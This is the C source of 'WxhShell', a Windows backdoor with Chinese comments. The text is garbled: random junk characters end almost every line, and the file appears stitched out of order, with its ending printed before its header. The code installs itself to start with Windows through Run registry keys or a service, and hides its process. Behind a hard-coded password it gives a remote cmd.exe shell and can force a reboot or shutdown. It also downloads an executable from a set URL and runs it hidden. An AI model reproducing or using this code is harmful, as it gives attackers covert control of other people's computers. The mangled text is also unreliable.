    if(Boot(SHUTDOWN))   7)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -/gAb<=  
    else { 6*%E4#4  
    closesocket(wsh); vz}_^8O  
    ExitThread(0); P"ATqQG%D  
    } l_0/g^(  
    break; _p,1m[&M  
    } (#5TM1/A  
  // 获取shell {5J: ]{p  
  case 's': { y5$AAas  
    CmdShell(wsh);   ]n (:X  
    closesocket(wsh); $}z%}v  
    ExitThread(0); RAi]9`*7  
    break; w5R?9"d@  
  } bZd)4  
  // 退出 :%kJ9zW  
  case 'x': { kbKGGn4u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X}R Q&k  
    CloseIt(wsh); 8w L%(p  
    break; 8 rA'd  
    } O cJ(i#Q~<  
  // 离开 oC >l|?h,  
  case 'q': { pjrzoMF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X2S:"0?7  
    closesocket(wsh); 4I7;/ZgALQ  
    WSACleanup(); >cRE$d?  
    exit(1); GK8x<Aq%z  
    break; >do3*ko A  
        } ;@ lC08SE  
  } Gz@/:dW^vZ  
  } IPEJ7 n49  
O\ph!?L  
  // 提示信息 Hsvu&>[`S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XR.Sm<A[  
} 02 6|u|R  
  } ,BuEX#ZaBl  
Az4a|.  
  return; NkL>ru!b9  
} J~(M%] &k^  
x9B5@2J1  
// shell模块句柄 J4>k9~q  
int CmdShell(SOCKET sock) ]] Jg%}o  
{ _{f7e^;  
STARTUPINFO si; GK\`8xWE  
ZeroMemory(&si,sizeof(si)); J6W"t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +VdC g_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^7$V>|  
PROCESS_INFORMATION ProcessInfo; EhK5<v}  
char cmdline[]="cmd"; jI~GRk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XTPf~Te,=  
  return 0; 2nA/{W\hC  
} kNDN<L  
-eSZpzp  
// 自身启动模式 j%@wQVxq  
int StartFromService(void) tG}cmK~%  
{ aH+n]J] =)  
typedef struct 0Er;l|  
{ X4dXO5\  
  DWORD ExitStatus; H6/C7  
  DWORD PebBaseAddress; b0ablVk  
  DWORD AffinityMask; [|E|(@J  
  DWORD BasePriority; =!Ce#p?h,  
  ULONG UniqueProcessId; dPO|x+N,  
  ULONG InheritedFromUniqueProcessId; `ot <BwxJ  
}   PROCESS_BASIC_INFORMATION; Md(h-wYr  
y`Km96 Ui  
PROCNTQSIP NtQueryInformationProcess; YKWts y  
p5PTuJ>q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pJ ;4rrSK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |\iJ6m;a  
3,4m|Z2)  
  HANDLE             hProcess; fx `oe  
  PROCESS_BASIC_INFORMATION pbi; t $yt8#Tk  
?PSVVU q,Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jZLD^@AP  
  if(NULL == hInst ) return 0; 1Z| {3W  
gW(7jFl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6<N Q/*(/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nW7Ew<`Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /+{]?y,  
]v6s](CE  
  if (!NtQueryInformationProcess) return 0; [H&Z / .{F  
];VJ54  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "O j2B|:s&  
  if(!hProcess) return 0; 6-vQQ-\  
B9(e"cMm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .6xIg+  
6Lhfb\2?  
  CloseHandle(hProcess); cc_v4d{x  
gHe%N? '  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3Sclr/t  
if(hProcess==NULL) return 0; VGtKW kVH  
jUg.Y98  
HMODULE hMod; EXD Qr'"  
char procName[255]; i!+Wv-  
unsigned long cbNeeded; 6l|,J`G  
;&8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )Fw{|7@N  
xKW`m  
  CloseHandle(hProcess); [>y0Xf9^  
bQelU  
if(strstr(procName,"services")) return 1; // 以服务启动 Se>"=[=  
N@>o:(08  
  return 0; // 注册表启动 w,qYT -R  
} 1`z^Xk8vt  
g Xi& S  
// 主模块 ^KO=8m( )J  
int StartWxhshell(LPSTR lpCmdLine) k),!%6\(  
{ N5Rda2m  
  SOCKET wsl; :SD^?.W\iT  
BOOL val=TRUE; 7B| #*IZe  
  int port=0; vE=)qn=a  
  struct sockaddr_in door; {YzRf S  
^N`bA8  
  if(wscfg.ws_autoins) Install(); nm.~~h+8M  
Am&PH(}L  
port=atoi(lpCmdLine); ?.%'[n>P  
4EtP|  
if(port<=0) port=wscfg.ws_port; K)!Nf.r$9  
Pk 6l*+"r<  
  WSADATA data; B[Gl}(E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; knU=#  
;[}<xw3):  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .o?"=Epo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \Rff3$  
  door.sin_family = AF_INET; 0>KW94  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aHzS>  
  door.sin_port = htons(port); R]y[n;aGC  
FPB O=?H.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0-!K@#$>=  
closesocket(wsl); '.8E_Jd0E  
return 1; !f^'-  
} AO "pm  
4gRt^T-?  
  if(listen(wsl,2) == INVALID_SOCKET) { |&hu3-(  
closesocket(wsl); *'q6#\#.  
return 1; },@1i<Bb  
} 5C^oqUZ  
  Wxhshell(wsl); d l<7jM?  
  WSACleanup(); 6I yD7PQ  
sMhUVc4  
return 0; 00d<V:Aoy  
DL:wiQ  
} B-`,h pp  
+dIO+(&g  
// 以NT服务方式启动 0s#`H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P$=BmBq18`  
{ ?%Pd:~4D  
DWORD   status = 0; lNw8eT~2  
  DWORD   specificError = 0xfffffff; Hi{1C"%  
(E.,kcAJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OE4hG xG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SK @%r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7@@,4_q E  
  serviceStatus.dwWin32ExitCode     = 0; C ~&~Ano,  
  serviceStatus.dwServiceSpecificExitCode = 0; wgeR%#DW  
  serviceStatus.dwCheckPoint       = 0; qek[p_7  
  serviceStatus.dwWaitHint       = 0; 4Sq[I  
D$wl.r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $&!i3#FF  
  if (hServiceStatusHandle==0) return; :XP/`%:  
M-Tjp'=*  
status = GetLastError(); @D3Y}nR:  
  if (status!=NO_ERROR) `- \J/I  
{ 37S  bF,G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'p{N5eM  
    serviceStatus.dwCheckPoint       = 0; {d%% nK~  
    serviceStatus.dwWaitHint       = 0; nhm)P_p   
    serviceStatus.dwWin32ExitCode     = status; ? V0!N;  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0L5 n<<7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); os3jpFeG'  
    return; jBO/1h=  
  } \9%SR~  
&H`AS6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %FDv6peH  
  serviceStatus.dwCheckPoint       = 0; N`JkEd7TT  
  serviceStatus.dwWaitHint       = 0; %%dQIlF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Id/-u[-yo  
} s?irT;=  
ky^p\dMh  
// 处理NT服务事件,比如:启动、停止 =@%Ukrd@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]&dU%9S  
{ (zO)J`z>  
switch(fdwControl) ~KW|<n4m  
{ Y$%z]i5   
case SERVICE_CONTROL_STOP: Br,^4w[Hq  
  serviceStatus.dwWin32ExitCode = 0; e;kH,fHUI3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :&{:$-h!  
  serviceStatus.dwCheckPoint   = 0; `|Wu\X  
  serviceStatus.dwWaitHint     = 0; i`Tp +e@a>  
  { w'/ Mn+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ][jW2;A  
  } '>wr _ f  
  return; x2m*0D~  
case SERVICE_CONTROL_PAUSE: Hj>(kL9H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W@vt6v  
  break; #c?xJ&bh  
case SERVICE_CONTROL_CONTINUE: l. 9 i `  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]f3eiHg*  
  break; j!It1B  
case SERVICE_CONTROL_INTERROGATE: 3Dd"qON!  
  break; ;!ICLkc$  
}; DaN=NURDV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^{IF2_h"  
} 3($cBC  
$E j;CN59  
// 标准应用程序主函数 .]0u#fz0y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AO R{Xm  
{ q$|Wxnz  
vSOO[.=  
// 获取操作系统版本  MYD`P2F  
OsIsNt=GetOsVer(); wc%Wy|d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h2b,(  
zXop@"(e  
  // 从命令行安装 rY~!hZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,#u"$Hz8p  
_DlX F  
  // 下载执行文件 _:B/XZ  
if(wscfg.ws_downexe) { cIL I%W1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A *$JF>`7  
  WinExec(wscfg.ws_filenam,SW_HIDE); j;GH|22  
} vpS&w  
%z0;77[1I  
if(!OsIsNt) { 2~*J<iO&l  
// 如果时win9x,隐藏进程并且设置为注册表启动 xksd&X:  
HideProc(); . paA0j  
StartWxhshell(lpCmdLine); 1kd\Fq^z$  
} ] WsQ=  
else ;V=Y#|o  
  if(StartFromService()) [eb?Fd~WB]  
  // 以服务方式启动 s#8mD !T|  
  StartServiceCtrlDispatcher(DispatchTable); pdz_qj!Z  
else 95wi~^^  
  // 普通方式启动 ji|+E`Nii  
  StartWxhshell(lpCmdLine); _6tir'z  
o4%H/|Oq.  
return 0; )}/ ycTs  
} ]tjQy1M  
B#|c$s{  
F1Jd-3ei  
wNk 0F7Ck  
=========================================== 9_h  V1:  
_V.MmA  
IzuYkl}  
0:CIM  
a7]wPXKq  
prWK U  
" Q.]$t 2J  
s9Tp(Yr,k  
#include <stdio.h> '^npZa'%sW  
#include <string.h> U9*uXD1\  
#include <windows.h> .~nk' m  
#include <winsock2.h> y:m ;_U,%c  
#include <winsvc.h> z(8:7 G  
#include <urlmon.h> gPW% *|D,  
u6B,V  
#pragma comment (lib, "Ws2_32.lib") pM|m*k  
#pragma comment (lib, "urlmon.lib") DR%16y<h  
W RBCNra  
#define MAX_USER   100 // 最大客户端连接数 DV8b<)  
#define BUF_SOCK   200 // sock buffer +2KYtyI  
#define KEY_BUFF   255 // 输入 buffer Ao0p=@Y  
~$WBcqo  
#define REBOOT     0   // 重启 c\J?J>xz  
#define SHUTDOWN   1   // 关机 !Qqi%  
!LunoC>B  
#define DEF_PORT   5000 // 监听端口 +E7Os|m  
nT;Rwz$3  
#define REG_LEN     16   // 注册表键长度 +.EP_2f9  
#define SVC_LEN     80   // NT服务名长度 Az`c? W%  
UdiogXZ  
// 从dll定义API M2$.Y om[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \~(scz$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mSg{0_:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }Ai_peO0a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uZg[PS=@!X  
~l^Q~W-+  
// wxhshell配置信息 mB.j?@Y%  
struct WSCFG { :rBPgrt  
  int ws_port;         // 监听端口 U5iyvU=UG  
  char ws_passstr[REG_LEN]; // 口令 j_ \?ampF  
  int ws_autoins;       // 安装标记, 1=yes 0=no j& H4L  
  char ws_regname[REG_LEN]; // 注册表键名 v!>(1ROQ.=  
  char ws_svcname[REG_LEN]; // 服务名 e}PJN6"5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *%nV<}e^_=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xpO'.xEs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TEzMFu+V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9sgyg3fv>5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pGsk[.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x @a3STKT  
]SO-NR  
}; PX} ~  
BM vGw  
// default Wxhshell configuration z>6hK:27  
struct WSCFG wscfg={DEF_PORT, 4GN  
    "xuhuanlingzhe", #hQ#_7  
    1, NKSK+ll2  
    "Wxhshell", pkKcTY1Fx  
    "Wxhshell", gfW_S&&q  
            "WxhShell Service", UGb<&)  
    "Wrsky Windows CmdShell Service", YcmLc)a7  
    "Please Input Your Password: ", ~~B`\!n7  
  1, t++ a  
  "http://www.wrsky.com/wxhshell.exe", F?Fs x)2k  
  "Wxhshell.exe" N| N#-  
    }; s2X<b `  
S#:yl>2  
// 消息定义模块 +wHrS}I#g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HkL:3 E.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Fcz}Gs4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'bb *$T0=  
char *msg_ws_ext="\n\rExit."; Xa xM$  
char *msg_ws_end="\n\rQuit."; 4pJ #fkc^  
char *msg_ws_boot="\n\rReboot..."; +NT8dd  
char *msg_ws_poff="\n\rShutdown..."; O6[ 4=4L  
char *msg_ws_down="\n\rSave to "; _1hiNh$  
L%CBz]`  
char *msg_ws_err="\n\rErr!"; n | M~C\*  
char *msg_ws_ok="\n\rOK!"; Sc/\g  
\Qgc7ev  
char ExeFile[MAX_PATH]; ;k=&ZV  
int nUser = 0; c{,VU.5/  
HANDLE handles[MAX_USER]; Jqp;8DV}  
int OsIsNt; nn?h;KzB  
y!kU0  
SERVICE_STATUS       serviceStatus; %`# HGji)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kR !O-@GJ]  
6/=0RTd  
// 函数声明 b)(rlX  
int Install(void); LFskNF0X  
int Uninstall(void); $SbgdbX  
int DownloadFile(char *sURL, SOCKET wsh); nkxv,_)ZT  
int Boot(int flag); <Crbc$!OeX  
void HideProc(void); F*, e,s  
int GetOsVer(void); |nMg.t`8  
int Wxhshell(SOCKET wsl); #1z/rUh`Cr  
void TalkWithClient(void *cs);  T1\@4x  
int CmdShell(SOCKET sock); O!U8"Yr$  
int StartFromService(void); `:Bm@eN  
int StartWxhshell(LPSTR lpCmdLine); {2v,J]v_[  
SmUj8?6"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !LX)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,s~d39{  
r1A<XP|1?I  
// 数据结构和表定义 49Q tfk  
SERVICE_TABLE_ENTRY DispatchTable[] = q(9S4F   
{ +td]g9Ie  
{wscfg.ws_svcname, NTServiceMain}, 51Q m2,P1^  
{NULL, NULL} Q|7$SS6$  
}; Zn{Y+ce7d  
{u (( y D  
// 自我安装 TCLXO0  
int Install(void) 8-u #<D.  
{ B4M rrW4=  
  char svExeFile[MAX_PATH]; 1va~.;/rG  
  HKEY key; :AYhBhitC  
  strcpy(svExeFile,ExeFile); m5_  
<C<z#M'`  
// 如果是win9x系统,修改注册表设为自启动 ~#];&WE  
if(!OsIsNt) { )#Le"&D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8-&c%h 1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hqW),^\>'  
  RegCloseKey(key); (Zz8 ldO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bP)( 4+t~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RA$%3L[A!  
  RegCloseKey(key); c2RQwtN|  
  return 0; xh:A*ZI=7  
    } dI?x&#(vw  
  } L&,&SDr  
} ]pq(Q:"P,5  
else { uefrE53  
9-"!v0['  
// 如果是NT以上系统,安装为系统服务 tu:W1?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'D:R]@eK]  
if (schSCManager!=0) $V\Dl]a1  
{ BA6(Owb  
  SC_HANDLE schService = CreateService :%4N4| Q  
  ( wec_=E qK0  
  schSCManager, rX}FhBl5  
  wscfg.ws_svcname, HD YWDp  
  wscfg.ws_svcdisp, Mpx98xcO  
  SERVICE_ALL_ACCESS, Kn*LwWne  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5kik+  
  SERVICE_AUTO_START,  &Sdf0"  
  SERVICE_ERROR_NORMAL, [C`LKA$t  
  svExeFile, <]f{X<ef  
  NULL, cw/E?0MWb  
  NULL, +'0V6 \y  
  NULL, Lyq[gQjr  
  NULL, vI20G89E  
  NULL v];P| Fi  
  ); j@s*hZ^J+  
  if (schService!=0) :Xs3Vh,V  
  { w'6sJ#ba(  
  CloseServiceHandle(schService); MS`XhFPS.  
  CloseServiceHandle(schSCManager); 0t(2^*I?>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TXS{=  
  strcat(svExeFile,wscfg.ws_svcname); ^jE8 "G*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _A~>?gJ;,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y&j'2!g  
  RegCloseKey(key); }1EtM/Ni{!  
  return 0; HJ_8 `( '  
    } x8o/m$[,=u  
  } ?3y>K!D(A  
  CloseServiceHandle(schSCManager); ]NyN@9u@(  
} Ke^9R-jP  
} MG,)|XpyWJ  
ZV ;~IaBL  
return 1; `d}t?qWS;F  
} t"nxny9&  
7nPjeh  
// 自我卸载 va2FgW`Bd+  
int Uninstall(void) jct'B}@X(  
{ J -z <&9  
  HKEY key; 6>gm!6`  
3Dx@rW\  
if(!OsIsNt) { ( TJGJY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Cs/B*3)b  
  RegDeleteValue(key,wscfg.ws_regname); g=$nNQ \6=  
  RegCloseKey(key); (tCBbPW6T?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NpH9}, 1i  
  RegDeleteValue(key,wscfg.ws_regname); 2 b80b50  
  RegCloseKey(key); %)w7t[A2D  
  return 0; AAF']z<4_"  
  } B:VGa<lx5  
} ](^FGz  
} &S39SV  
else { I23"DBR3  
~(`&hYE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uN=f( -"  
if (schSCManager!=0) VA @  
{ .cz7jD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wUfm)Q#  
  if (schService!=0) B9wQ;[gQB  
  { @D$ogU,#  
  if(DeleteService(schService)!=0) { 48_( 'z*>  
  CloseServiceHandle(schService); }.D adV  
  CloseServiceHandle(schSCManager); XZ<8M}Lg  
  return 0; AquO#A[,#  
  } f\?1oMO\  
  CloseServiceHandle(schService); bO* hmDt  
  } v0(_4U]/  
  CloseServiceHandle(schSCManager); K7t_Q8  
} aF[#(PF  
} Sq x'nXgO  
Te`MIR  
return 1; NNMn,J  
} LRR)T: e}q  
kP1cwmZ7F  
// 从指定url下载文件 a4 mRu|x  
int DownloadFile(char *sURL, SOCKET wsh) |-TxX:O-  
{ |S]T,`7u  
  HRESULT hr; y!T8(  
char seps[]= "/"; ,n`S ,  
char *token; uR.`8s|  
char *file; 4|UtE<<b  
char myURL[MAX_PATH]; %I;uqf  
char myFILE[MAX_PATH]; ?:6w6GwAA  
Bkg./iP5x  
strcpy(myURL,sURL); -b)3+#f  
  token=strtok(myURL,seps);  `7oYXk  
  while(token!=NULL) /m4Y87  
  { l{Et:W%|  
    file=token; w~3z) ;  
  token=strtok(NULL,seps); "5v^6R9e  
  } J&bMox  
F_&H*kL L3  
GetCurrentDirectory(MAX_PATH,myFILE); f?TS#jG4}  
strcat(myFILE, "\\"); ( j:eky  
strcat(myFILE, file);  & [ ,*  
  send(wsh,myFILE,strlen(myFILE),0); |d,bo/:  
send(wsh,"...",3,0); n(.L=VuXn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w,j;XPp  
  if(hr==S_OK) ,hZ?]P&  
return 0; y(O~=S+<  
else ;M"[dy`dY  
return 1; rH'|$~a  
B>[myx  
} ^\r{72!y  
tF\_AvL_8  
// 系统电源模块 ANfy+@  
int Boot(int flag) iu$Y0.H@  
{ _YN C}PUU  
  HANDLE hToken; l5D4 ?`|  
  TOKEN_PRIVILEGES tkp; GcG$>&,  
xEv?2n@A  
  if(OsIsNt) { `NNP}O2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =}0$|@pl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1@9M[_<n5  
    tkp.PrivilegeCount = 1; X`fm5y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tBETNt7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :\C/mT3xL)  
if(flag==REBOOT) { h+S]C#X,}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }*b\=AS=  
  return 0; 1~E;@eK'  
} YxGqQO36  
else { RY1-Zjlb<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |v<4=/.  
  return 0; _w2KUvG-8  
} 1kD1$5  
  } pktnX-Slt  
  else { N36B*9m&p  
if(flag==REBOOT) { 79I"F'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6R*eJICN  
  return 0; 7`e<H8g  
} { R/e1-;  
else { ~S$ex,~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ec^2tx"=  
  return 0; ["e;8H[K)%  
} umt`0m. :  
} KUC%Da3  
"rVM23@ tq  
return 1; Asy2jw\V  
} Hz=s)6$ey  
*?VB/yO=0  
// win9x进程隐藏模块 ~6+Um_A_L  
void HideProc(void) c:+UC  
{ b`ksTO`}x  
HBs 6:[q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qIB2eCXw  
  if ( hKernel != NULL ) ,1]VY/  
  { ;9q$eK%d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /O`R9+;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @Fzw_qr M  
    FreeLibrary(hKernel); ,@I\'os  
  } GIfs]zVr`  
Z-yoJZi  
return; PZ#aq~>w  
} >U?#'e{qW  
!)}D_9{  
// 获取操作系统版本 4G hg~0  
int GetOsVer(void) L">m2/ HG  
{ c._!dq&#R  
  OSVERSIONINFO winfo; EfkBo5@Qi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M:L-j{?y_  
  GetVersionEx(&winfo); v- p8~u1N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >FJK$>[1:p  
  return 1; Y![8-L|Q  
  else t~.^92]s|  
  return 0; ad9u;uS  
} =LEzcq>XO  
eLbh1L  
// 客户端句柄模块 a&dP@)  
int Wxhshell(SOCKET wsl) r{_1M>F D!  
{ B9 ,  
  SOCKET wsh; 7[i&EPN  
  struct sockaddr_in client; qD /h/  
  DWORD myID; |tz{Es<`B  
_X@ Q`d  
  while(nUser<MAX_USER) 88 ca  
{ t{`-G*^  
  int nSize=sizeof(client); BqdGU-Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9;rZ)QD  
  if(wsh==INVALID_SOCKET) return 1; Q5u3~Q'e  
6zi Mf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zu>CR_C  
if(handles[nUser]==0) v[ R_6  
  closesocket(wsh); 5HTY ~&C  
else lwo,D}  
  nUser++; B B^81{A  
  } SRU#Y8Xv|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >S S^qjh/  
A0Q1"b=  
  return 0; J7~Kjl  
} ju4wU; Nu  
~q}]/0-m  
// 关闭 socket pW>.3pj  
void CloseIt(SOCKET wsh) :5jor Vu  
{ @V+KL>Qw  
closesocket(wsh); 5d}bl{  
nUser--; ,4}s 1J#  
ExitThread(0); xsrdHP1  
} 2uMSeSx$  
:U]Pm:ivTU  
// 客户端请求句柄 <l>L8{-3  
void TalkWithClient(void *cs) E/D@;Ym18  
{ 3wfJ!z-E8  
U.<ad  
  SOCKET wsh=(SOCKET)cs; c:s[vghH^#  
  char pwd[SVC_LEN]; r4iT 9 D  
  char cmd[KEY_BUFF]; &yqk96z  
char chr[1]; z^y -A ?  
int i,j; GkKoc v  
O<XNI(@  
  while (nUser < MAX_USER) { 6+C]rEY/o  
db3.X~Cn#s  
if(wscfg.ws_passstr) { 'lgS) m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Byl~n3*D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7]hRAhJ8I  
  //ZeroMemory(pwd,KEY_BUFF); g%D.sc)69  
      i=0; 0 4oMgH>Vd  
  while(i<SVC_LEN) { 5p/.( |b,  
L rV|Y~  
  // 设置超时 "\M3||.!  
  fd_set FdRead; s5X51#J#~  
  struct timeval TimeOut; En0hjXa  
  FD_ZERO(&FdRead); 0,iG9D 7  
  FD_SET(wsh,&FdRead); ? :F Jc[J  
  TimeOut.tv_sec=8; Kn2W{*wD  
  TimeOut.tv_usec=0; P%<MQg|k`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ac/LNqIs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1z@ ncqe  
5o0H7k]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 18y'#<X!  
  pwd=chr[0]; |voZ0U  
  if(chr[0]==0xd || chr[0]==0xa) { lO}I>yo}\  
  pwd=0; |8{ \j*3  
  break; 2,.8 oa(  
  } 4*UKR!sr  
  i++; 3v)`` n@  
    } G@<[fO|Iam  
Ihl]"76q/  
  // 如果是非法用户,关闭 socket w" A{R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @^HZTuP2;  
} $tK/3  
W@~a#~1O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \JNWL yw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K{FBrh  
VxU{ZD~<Z"  
while(1) { ,~NJ}4wP  
.;&4'ga4  
  ZeroMemory(cmd,KEY_BUFF); i^rHZmT  
n5*m x7  
      // 自动支持客户端 telnet标准   B5]nP .R  
  j=0; $- GwNG  
  while(j<KEY_BUFF) { G52z5-=v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]YB,K)WQ  
  cmd[j]=chr[0]; ~sCdvBA  
  if(chr[0]==0xa || chr[0]==0xd) { :} o{<U  
  cmd[j]=0; *bi;mQ  
  break; X u>]$+u#  
  } iF"kR]ZL  
  j++; FXid=&T@0D  
    } mEV@~){  
>}86#^F  
  // 下载文件  j 2e|  
  if(strstr(cmd,"http://")) { P> 7PO~E.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c2yZvi  
  if(DownloadFile(cmd,wsh)) Angt=q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -V||1@ |  
  else s6I/%R3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) =|8%IrB  
  } Oq 95zo  
